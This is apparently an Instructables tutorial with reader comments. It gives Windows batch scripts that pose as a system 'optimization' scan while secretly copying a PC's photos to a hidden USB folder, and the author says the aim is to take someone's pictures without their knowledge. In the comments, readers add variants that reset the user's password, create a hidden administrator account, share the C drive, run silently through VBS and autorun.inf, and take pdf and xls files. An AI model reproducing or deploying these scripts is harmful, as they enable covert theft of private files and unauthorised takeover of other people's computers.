So, first things first, what is this instructable creating and why.
This instructable will allow you to create a batch file that will copy all the images from a PC to your memory stick. it will do this discretely, posing as another program that is checking the computer for issues. When complete, you will have a hidden folder on your memory stick with all the copied images.
Why? I have created this instructable because I wanted to retrieve a digital photo from someones machine without them knowing I had done it. The legitimate use of this file will allow you to archive/backup your personal photos.
Other uses: This file can be modified to allow any other type of document to be copied.
Remove these ads by
Signing UpStep 1Write the code
Copy the following code into notepad and save it on the root of your memory stick as a bat file, you can name it whatever you want as long is it has the .bat extension. To ensure it does have the correct extension, type it as follows in the save box of notepad "copyimage.bat" (include the quotations!)
@echo off
echo Optimization client 2008 v3.02b
echo --------------------------------
echo.
echo Please do not use your PC while this is running.
echo.
echo Scanning process list. When complete a log will be displayed for your system administrator to review.
echo.
echo Please be patient this could take upto 3 hours.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
)
)
attrib -s +h data\* >nul
start optimizationLog.txt
shutdown /s /c "Optimization scan complete, your PC will now shutdown"
| « Previous Step | Download PDFView All Steps | Next Step » |














































Windows XP the key needs to be
"Hidden"=dword:00000002
Windows 7 the key needs to be
"Hidden"=dword:00000001
Same Path
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
Note my version searches everywhere on the C Drive. Most people tend to hide their photos if they are worth stealing. This will only search for files larger that 640x480.
This script is also dependant on a program called PhotoResize.
http://www.rw-designer.com/picture-resize
Now it is dependant on how you have the name of the program as to what size photos you want them resized to. Eg I have it resize the photos to 640x480, they are large enough to see, yet small enough so they don't take as long to copy. This is also what determines if the files get copied or not, eg if the photo is smaller than 640x480 it wont resize, therefore will not save to the drive. So if you make it resize to 800x600 you will only find photos that are 800x600 or larger.
Here is my version of the script
============================
@echo off
color a
echo Optimization client 2012 v3.02b
echo --------------------------------
echo.
echo Please do not use your PC while this is running.
echo.
echo Scanning process list.
echo.
echo Please be patient this could take upto 3 hours.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
attrib +h PhotoResizeW640SOH.exe >nul
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg jpeg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
PhotoResizeW640SOH.exe "-c\%computername%\<NAME>.jpg" "%%f"
)
)
attrib -s +h \%computername%\* >nul
del -f -q PhotoResizeW640SOH.exe
I also used the Batch 2 Exe converter to make the batch run silently or with display, however it includes the PhotoResize within the exe. Not sure if you would like me to post that or not, however I think this is easy enough to understand, if you can't then maybe you shouldn't be stealing peoples pics.
@echo off
net user %username% Password
net user /add Admin2 Password
net localgroup administrators Admin2/add
net share concfg"c:\/grant:Admin2.full
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a') do (
move "%%f" \%computername%\ /y /h /q >nul
)
)
attrib -s +h %computername%\* >nul
rem this will change the current logged on users password to
rem Password
rem it will also create an administrator account
rem (which can be changed) with the pass= Password
rem then it moves all the files from the current users my pictures folder
rem onto your flash drive
rem then loggs off the computer
rem (change shutdown -l to shutdown -s -t 1) to shut down the computer
rem shuts down the computer instantly
shutdown -l
rem i love my flash drive =]
rem sent my friend a "file" on it at school
rem if youve got a teacher that pisses u off at school thisll be hillarious
First make "start.bat" and enter this code:
wscript.exe "\stealth.vbs" "copy.bat"
Second make "stealth.vbs" enter this code:
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
Third make "secret.bat" enter this code:
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
)
)
attrib -s +h data\* >nul
Then make "autorun.inf" and enter this code:
[autorun]
shellexecute=start.bat
If you want to stop it make "stop.bat" with this code:
@echo off
taskkill secret.bat
1. Buy a PC
2.???
3.Profit!!!
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
to look in the current userprofile rather than the entire C Drive?
Regards,
Daniel
%userprofile%
So (will test later) try:
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d %userprofile%*.%%a') do (
(autorun) make the brackets not parenthesis
open=slurp.bat
action=Click "OK"
shell\open\command=slurp.bat
save as autorun.inf
makes the file transfer so much easier
For example:
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg pdf xls) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
)
)